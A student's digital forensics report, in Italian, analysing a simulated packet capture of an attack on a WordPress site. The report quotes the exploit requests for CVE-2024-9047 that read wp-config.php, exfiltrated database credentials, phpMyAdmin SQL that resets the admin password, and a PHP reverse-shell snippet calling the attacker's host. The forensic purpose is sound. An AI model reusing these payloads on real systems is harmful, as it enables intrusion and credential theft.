Digital Forensics

Federico Conti - 4991779

2024/25

Contents

Identificazione e mappatura degli IP principali ("Main Players")

Analisi statistica IP

IP A	IP B	Packets	Note
192.168.100.101	10.0.100.100	3571	traffico HTTP tra srv-www e srv-intranet
10.0.200.100	192.168.100.100	3136	traffico da client verso DMZ (srv-www)
192.168.100.100	203.0.113.113	2952	DNS verso provider-ns (trusted)
58.16.78.90	192.168.100.101	2751	traffico da IP esterno (simulated Internet)
58.16.122.33	192.168.100.101	1648	altro traffico significativo dall'esterno

Gli IP 58.16.78.90, 58.16.122.33, 58.16.120.39 e simili appartengono alla simulated Internet.

- Si osservano frequenti connessioni in ingresso verso la porta 80 di 192.168.100.101 (srv-www), provenienti da questi IP esterni.

Gli IP come 104.85.x.x, 104.18.x.x, 34.x.x.x, 13.x.x.x sono riconducibili a servizi cloud.

L'indirizzo 10.0.200.100 risulta associato all'utente più attivo all'interno della rete simulata, con accessi a numerosi siti e servizi popolari, tra cui: Pinterest, eBay, Aranzulla, MyPersonalTrainer, ecc.

- Esempio di filtro utilizzato: `ssl.handshake.extensions_server_name && ip.addr == 104.85.8.193`

Analisi statistica TCP

Le statistiche TCP confermano i seguenti pattern rilevanti:

1. Comunicazioni sospette originate da 192.168.100.101 su porte elevate (52926, 52944, 52950, 52974, 52934, 52960) dirette verso 10.0.100.100:80

- Flussi osservati: `tcp.stream eq 250,255,256,260,253,259`

2. Numerose connessioni da IP esterni (es. 58.16.78.90, 58.16.122.33, 58.16.119.40, 58.16.120.x) verso 192.168.100.101:80 (srv-www interno)

    - In particolare, l'IP 58.16.78.90 appare con centinaia di connessioni e sessioni HTTP caratterizzate da payload bidirezionali significativi
    - Esempi di flussi: `tcp.stream eq 461,441,132,137,298`

CVE-2024-9047 - (58.16.78.90 -> 192.168.100.101:80)

Flussi TCP confermano un'azione potenzialmente malevola da parte di un attore che cerca di ottenere infomrazioni sul plugin **WP File Upload**. Le richieste analizzate indicano un chiaro tentativo di ricognizione iniziale, seguito da un exploit mirato volto a esfiltrare file sensibili dal server.

When

Evento	Timestamp	TCP Stream	Dettagli
Raccolta di infomrazioni	22:42:09:94	10	GET /wp-content/plugins/wp-file-upload/
Primo exploit	22:43:34:29	193	POST /wp-content/plugins/wp-file-upload/
Secondo exploit	22:43:43:57	215	POST /wp-content/plugins/wp-file-upload/

Who/Where

Ruolo	Indirizzo IP	Porta
Attaccante	58.16.78.90	34970,49736,46892
Server compromesso	192.168.100.101	80 (srv-www)

What

1. L'attaccante ha identificato la presenza del plugin **wp-file-upload** e la sua versione.

```
GET /wp-content/plugins/wp-file-upload/css/wordpress_file_upload_style.css?ver=6.8
GET /wp-content/plugins/wp-file-upload/css/wordpress_file_upload_adminbarstyle.css?ver=6.8
GET /wp-content/plugins/wp-file-upload/vendor/jquery/jquery-ui-timepicker-addon.min.js?ver=6.8
```

2. Exploit sull inforkazioni del SO

```
POST /wp-content/plugins/wp-file-upload/wfu_file_downloader.php HTTP/1.1
Host: www.potenzio.com
User-Agent: python-requests/2.32.3
...
Cookie: wp_wpfileupload_testupload=Nxploited; wfu_storage_file123=/etc/issue.net; wfu_download_ticket_t
...
file=file123&ticket=ticket123&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0
```

3. Exploit sull infomrazioni di configurazione

```
POST /wp-content/plugins/wp-file-upload/wfu_file_downloader.php HTTP/1.1
Host: www.potenzio.com
User-Agent: python-requests/2.32.3
....
Cookie: wp_wpfileupload_testupload=Nxploited; wfu_storage_file123=/var/www/html/wp-config.php; wfu_downl
....
file=file123&ticket=ticket123&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0
```

Contenuto esfiltrato:

```
// ** Database settings//

define( 'DB_NAME', 'wpdb' ); /** The name of the database for WordPress */
```

```
define( 'DB_USER', 'wp' ); /** Database username */
define( 'DB_PASSWORD', 'secret4wp' ); /** Database password */
define( 'DB_HOST', '10.0.100.100' ); /** Database hostname */
define( 'DB_CHARSET', 'utf8mb4' ); /** Database charset to use in creating database tables. */
define( 'DB_COLLATE', '' ); /** The database collate type. Don't change this if in doubt. */

/**
 * Authentication unique keys and salts.
 */
define( 'AUTH_KEY','*&xb-+qX)0]kRKF@-Y  Oig}y6f,QBVws)B:sDUA=yEJK.<;4eJ.Ay~g1EfrX-uI' );
...
```

How

L'attaccante ha sfruttato la vulberabilità CVE-2024-9047 basata su:

- Manipolazione della richiesta HTTP Il client ha inviato una richiesta POST a wfu_file_downloader.php, simulando un'operazione di download legittima. Tuttavia, ha incluso parametri dannosi come wfu_storage_file123=/var/www/html/wp-config.php, forzando il server a restituire il file di configurazione.
- Abuso dei cookie di sessione Il client ha utilizzato cookie speciali (wp_wpfileupload_testupload=Nxploited) e un ticket di download (wfu_download_ticket_ticket123=9876543210987) per aggirare i controlli di autorizzazione del plugin e ottenere accesso non autorizzato.

Why

Esfiltrazione dei file di configurazione del database WordPress, contenenti:

- Credenziali di accesso (username e password)
- Informazioni di connessione al DB
- Chiavi di autenticazione e salt WordPress

Filtri Wireshark utilizzati

```
http.request.method == "POST" && http.request.uri contains "/wp-content/plugins/wp-file-upload/"
```

Wordpress DB (192.168.100.101 –> 10.0.100.100:80)

Rilevata un'attività sospetta che coinvolge l'accesso non autorizzato al pannello phpMyAdmin e tentativi di esfiltrazione dati e compromissione al database mysql

When

Evento	Timestamp	TCP Stream	Dettagli
Accesso phpMyAdmin	22:42:19:53	45	GET /phpmyadmin/ HTTP/1.1
Esplorazione del pannello di navigazione	22:43:54:89	250	GET & POST /phpmyadmin/index.php?route=
Lettura wp_users	22:44:40:04	255	GET & POST /phpmyadmin/index.php?route=
Esecuzione query	22:44:32:45	256	GET & POST /phpmyadmin/index.php?route=
Esecuzione query	22:44:06:05	260	GET & POST /phpmyadmin/index.php?route=

Who/Where

Ruolo	Indirizzo IP	Porta
Attaccante	58.16.78.90	38316, 52926, 52950, 52974
Server compromesso	10.0.100.100	80 (srv-intranet)
Host impersonato	192.168.100.101	srv-www

What

1. Accesso iniziale al pannello "Welcome to phpMyAdmin"

```
GET /phpmyadmin/ HTTP/1.1
Host: 10.0.100.100
User-Agent: gobuster/3.6
Accept-Encoding: gzip
X-Forwarded-For: 58.16.78.90
X-Forwarded-Host: www.potenzio.com
X-Forwarded-Server: 192.168.100.101
Connection: Keep-Alive
```

2. Esplorazione struttura del database `wpdb`

```
POST `/phpmyadmin/index.php?route=/navigation&ajax_request=1`
```

3. Accesso diretto alla tabella `wpdbewp_users`

```
GET `/phpmyadmin/index.php?route=/table/sql&db=wpdb&table=wp_users`
```

4. Esecuzione di query SQL
   - Console SQL aperta sul database WordPress

     ```
     GET  `/phpmyadmin/index.php?route=/database/sql&db=wpdb`
     ```

   - Estrazione di credenziali

```
POST  `/phpmyadmin/index.php?route=/import`
...
`SELECT ID, user_login, user_pass FROM wp_users`
```

5. Modifica della password dell'amministratore

```
POST  `/phpmyadmin/index.php?route=/import`
...
UPDATE `wp_users` SET `user_pass` = MD5('byebye') WHERE `wp_users`.`ID` = 1;
```

How

1. Il pannello phpMyAdmin è esposto pubblicamente, consentendo l'accesso diretto da IP esterni.
2. Gli header X-Forwarded-* sono stati usati per:
    - Mascherare l'origine reale (58.16.78.90)
    - Impersonare www.potenzio.com e il server interno 192.168.100.101

Why

Accesso, modifica e esfiltrazione dei dati aziendali, in particolare:

- Credenziali utente WordPress
- Possibile accesso persistente al backend tramite modifica della password dell'amministratore

Filtri Wireshark utilizzati

```
(tcp.stream eq 250 || tcp.stream eq 255 || tcp.stream eq 256 || tcp.stream eq 260 || tcp.stream eq 253

http.request.method == "POST" and http contains "sql_query="
```

CVE-2024-7420 (58.16.78.90 -> 192.168.100.101)

Flussi TCP confermano un'azione potenzialmente malevola da parte di un attore che dispone di privilegi admin, che ha installato il plugin **code-snippets**. Sono state fatte ulteriori analisi per veriicahe sfruttamneti a vulnerabilità note.

When

Evento	Timestamp	TCP Stream	Dettagli
Login admin	22:45:15.45	458	POST a /wp-login.php con admin:byebye
Installazione plugin	22:45:15.80	461	Navigazione e installazione code-snippets
Upload snippet malevolo	22:46:21.03	621	POST con file fancy_rnd.json
Attivazione shell remota	22:47:09.60	730	GET con rand=NTguMTYuNzguOTAvNDQz

Who/Where

Ruolo	Indirizzo IP	Porta
Attaccante	58.16.78.90	51144, 51176, 54012, 44250
Server compromesso	192.168.100.101	80 (srv-www)
Destinazione reverse shell	58.16.78.90	443

What

1. L'attaccante ha effettuato l'accesso con le stesse credenziali (admin:byebye) rubate nella fase precedente

```
POST /wp-login.php
...
log=admin&pwd=byebye
```

2. Accesso e installazione del plugin attraverso la dashboard WordPress

```
GET /wp-admin/plugins.php
GET /wp-admin/plugin-install.php
POST /wp-admin/admin-ajax.php HTTP/1.1
slug=code-snippets&action=install-plugin&_ajax_nonce=aad5c50a4b&_fs_nonce=&username=&password=&conn
```

3. Caricamento dello snippet PHP malevolo
    - Lo snippet contiene codice per l'invocazione di una reverse shell su base64-decoded IP/porta.

```
add_action('init', function() {
    if ( isset($_GET['rand']) ) {
        exec('/bin/bash -c "bash -i >& /dev/tcp/' . base64_decode($_GET['rand']) . ' 0>&1"');
    }
});
```

4. Attivazione della shell

```
GET /?rand=NTguMTYuNzguOTAvNDQz
```

- echo "NTguMTYuNzguOTAvNDQz" | base64 -d
- 58.16.78.90/443
- Il server WordPress avvia una connessione in uscita verso 58.16.78.90:443, stabilendo una shell Bash interattiva.

How

- L'attaccante ha sfruttato le credenziali admin modificate nel precedente attacco.
- È stata utilizzata la vulnerabilità CVE-2024-7420

Why

- Ottenere pieno controllo sul server web
- Esfiltrare dati sensibili aziendali
- Possibile installazione di backdoor persistenti

Filtri Wireshark utilizzati

```
http.request.method == "POST" && http contains "login"
http.request.method == "POST" && http.request.uri contains "code-snippets"
http.request.uri contains "rand="
```